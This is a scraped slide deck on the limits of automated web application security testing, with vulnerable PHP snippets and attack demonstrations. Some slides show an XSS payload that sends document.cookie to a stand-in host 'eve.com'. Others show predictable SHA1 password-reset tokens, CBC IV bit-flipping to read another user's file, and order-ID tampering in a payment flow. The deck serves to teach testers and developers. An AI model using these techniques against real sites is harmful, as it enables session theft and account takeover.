Security Testing - Where Automation Fails Today How does security - - PowerPoint PPT Presentation

▶
security testing where automation fails today
SMART_READER_LITE
LIVE PREVIEW

Security Testing - Where Automation Fails Today How does security - - PowerPoint PPT Presentation

Nov 15, 2023 23 likes •589 views

Security Testing - Where Automation Fails Today How does security testing of web applications work What does the tooling landscape look like How does automated security testing fail What can we do Image courtesy of

slide-1
SLIDE 1

Security Testing - Where Automation Fails

slide-2
SLIDE 2

Today

  • How does security testing of

web applications work

  • What does the tooling

landscape look like

  • How does automated

security testing fail

  • What can we do

Image courtesy of http://theverybesttop10.com/funny-bad-security-fails/

slide-3
SLIDE 3

Hi

Christiaan Ottow

  • Developer, Sysop, Hacker
  • Security Coach @ Computest / Pine Digital

Security

  • cottow@computest.nl
  • @cottow

Image courtesy of https://ospois.wordpress.com/2008/11/13/

slide-4
SLIDE 4
slide-5
SLIDE 5

Image courtesy of http://matrix.wikia.com/wiki/The_Matrix_Revolutions Image courtesy of http://knowyourmeme.com/memes/first-day-on-the-internet-kid

slide-6
SLIDE 6

Image courtesy of http://www.opensamm.org/

slide-7
SLIDE 7

Image courtesy of https://www.microsoft.com/en-us/sdl/process/verification.aspx

slide-8
SLIDE 8

Middleware Middleware DB SAN Mgt system Web application Web application API

  • Ext. Connector
slide-9
SLIDE 9

Middleware Middleware DB SAN Mgt system Web application Web application API

  • Ext. Connector
slide-10
SLIDE 10

Middleware Middleware DB SAN Mgt system Web application Web application API

  • Ext. Connector
slide-11
SLIDE 11

See https://www.certifiedsecure.com/checklists/

slide-12
SLIDE 12
slide-13
SLIDE 13

<html> <body> <p>Message from Eve:</p> <p>Hi John, <script>var i = new Image(); img.src = ‘http:// eve.com/'+document.cookie;</script> how are you? </p> </body> </html> Hi John, <script>var i = new Image(); img.src = ‘http:// eve.com/'+document.cook ie; </script> how are you? ATTACKER VICTIM

FriendFace website Message to John Message from Kevin

slide-14
SLIDE 14

Image courtesy of Acunetix

slide-15
SLIDE 15

<?php $name = $_GET[‘name’]; echo “Welcome, $name!”

http://test.site/welcome.php?name=<script>

slide-16
SLIDE 16

<?php $name = $_GET[‘name’]; echo “Welcome, $name!”

http://test.site/welcome.php?name=<script> Welcome, <script>!

slide-17
SLIDE 17

<?php $name = htmlspecialchars($_GET[‘name’]); echo “Welcome, $name!”

http://test.site/welcome.php?name=<script>

slide-18
SLIDE 18

<?php $name = htmlspecialchars($_GET[‘name’]); echo “Welcome, $name!”

http://test.site/welcome.php?name=<script> Welcome, &lt;script&gt;!

slide-19
SLIDE 19

Image courtesy of http://theverybesttop10.com/funny-bad-security-fails/

slide-20
SLIDE 20

Penetration testing cannot prove or even demonstrate that a system is flawless. It can place a reasonable bound on the knowledge and work factor required for a penetrator to succeed.

  • Smart Guy on the Internet

[..] penetration testing cannot prove security of the system, just as no doctor can prove that you are without occult disease; thus, it can just prove that the system is vulnerable.

  • Other Smart Guy on the Internet
slide-21
SLIDE 21
slide-22
SLIDE 22

Image courtesy of https://www.microsoft.com/en-us/sdl/process/verification.aspx

slide-23
SLIDE 23

<?php include(“header.php”); echo “Hello, world!”;

Repository SAST scanner Orchestration Acceptance infra Production infra

<?php include(“header. php”); echo “Hello, world!”; <?php include(“header. php”); echo “Hello, world!”; <?php include(“header. php”); echo “Hello, world!”;

DAST scanner HTTP, TCP/IP HTTP Vulnerability scanner

slide-24
SLIDE 24

SAST

  • HP Fortify
  • Checkmarx
  • Veracode
  • Coverity
  • IBM AppScan Source
  • Nessus
  • Burp Suite
  • Acunetix
  • Qualys WAS
  • Netsparker
  • IBM AppScan

DAST

slide-25
SLIDE 25
  • Injection testing
  • SQL, XSS, LDAP, XML, LFI, …
  • Session handling
  • CSRF, session regeneration and invalidation, cookie settings, ..
  • Hardening
  • Use of SSL and certificate settings, best practices for HTTP headers, extraneous content, …
  • Infrastructure testing
  • Open ports, old versions, weak auth methods, known vulns, …

+

slide-26
SLIDE 26
  • Business rules bypass
  • Unintended state transitions, …
  • Authorization checking
  • Predictable tokens / IDs, ID-based authorization, …
  • Incorrect use of crypto and RNGs
  • Sign but don’t verify, weak random numbers, AES ECB mode, CBC with public IV, …
  • System interoperation
slide-27
SLIDE 27
slide-28
SLIDE 28
slide-29
SLIDE 29

€5,005 ?

slide-30
SLIDE 30
slide-31
SLIDE 31
slide-32
SLIDE 32

https://jira.company.nl/reset/a9bfea171aaf723728939ccd6c67f0e8e59f11de

slide-33
SLIDE 33

https://jira.company.nl/reset/a9bfea171aaf723728939ccd6c67f0e8e59f11de sha1(“cottow@company.nl”) = a9bfea171aaf723728939ccd6c67f0e8e59f11de

slide-34
SLIDE 34

sha1(“ceo@company.nl”) = 9f26486b094bcc6c1838b42da2eb48f6635f2f84

slide-35
SLIDE 35

https://jira.company.nl/reset/9f26486b094bcc6c1838b42da2eb48f6635f2f84 sha1(“ceo@company.nl”) = 9f26486b094bcc6c1838b42da2eb48f6635f2f84

slide-36
SLIDE 36

<?php // get params $fname = $_GET['filename']; $iv = $_GET['iv']; // setup crypto $ch = mcrypt_module_open(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC, ''); mcrypt_generic_init($ch, $key, $iv); // open file $fp = fopen(mcrypt_generic($ch, $fname), 'r'); fpassthru($fp);

slide-37
SLIDE 37
slide-38
SLIDE 38

10100101 11101010 01001111 ^ =

slide-39
SLIDE 39

decrypted = “/home/john/secret.txt" iv = "\x00\x00\x00\x00\x00\x00\x07\x0e\x1a \x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00" decrypted ^ iv = "/home/mark/secret.txt"

slide-40
SLIDE 40

<script>alert(document.cookie);</script>

slide-41
SLIDE 41
slide-42
SLIDE 42

ATTACKER VICTIM

Wordpress frontend

Blog comment List of comments

Wordpress admin site

Database

Nice blog! <script>var i = new Image(); img.src = ‘http:// eve.com/'+doc ument.cookie; </script> Nice blog! <script>var i = new Image(); img.src = ‘http:// eve.com/'+doc ument.cookie; </script>

Nice blog! <script>var i = new Image(); img.src = ‘http:// eve.com/'+document.cook ie; </script> <html> <body> <p>Comments:</p> <p>Hi John, <script>var i = new Image(); img.src = ‘http:// eve.com/'+document.cookie;</script> how are you? </p> </body> </html>

slide-43
SLIDE 43
slide-44
SLIDE 44

Order for €151,63 www.shop.nl/checkout?orderID=1337 ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1337&Lang=NL

slide-45
SLIDE 45

Order for €151,63 www.shop.nl/checkout?orderID=1337 ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1337&Lang=NL

slide-46
SLIDE 46

Order for €151,63 www.shop.nl/checkout?orderID=1337 ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1337&Lang=NL

slide-47
SLIDE 47

Order for €151,63 www.shop.nl/checkout?orderID=1337 ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1337&Lang=NL

slide-48
SLIDE 48

Order for €151,63 www.shop.nl/checkout?orderID=1337 ideal.payment.nl/?m=43278&o=1337&a=15163&OrderID=1337&Lang=NL www.shop.nl/confirmed?o=1337&status=ok& sig=0d07b9e87debaec6d8d3c71767122fc2&OrderID=1336&Lang=NL

slide-49
SLIDE 49
slide-50
SLIDE 50

Image courtesy of http://9gag.com/gag/3699936/son-i-am-derp

slide-51
SLIDE 51
slide-52
SLIDE 52
slide-53
SLIDE 53

<?php include(“header.php”); echo “Hello, world!”;

Repository SAST scanner Orchestration Acceptance infra Production infra

<?php include(“header. php”); echo “Hello, world!”; <?php include(“header. php”); echo “Hello, world!”; <?php include(“header. php”); echo “Hello, world!”;

DAST scanner HTTP, TCP/IP HTTP Vulnerability scanner

slide-54
SLIDE 54

Image courtesy of http://www.qahipster.com/blog/what-is-unit-testing-part-1-of-2

slide-55
SLIDE 55

Summary

  • Security testing is a distinct

expertise

  • Tools can only do part of the testing
  • Make sure you have the right

expertise in your team or enlist help

  • Make use of the overlap between

security- and functional testing

Image courtesy of https://memegenerator.net/That-Would-Be-Great

slide-56
SLIDE 56

Image courtesy of http://www.slideshare.net/linaroorg/sfo15tr6-server-ecosystem-day-part-6a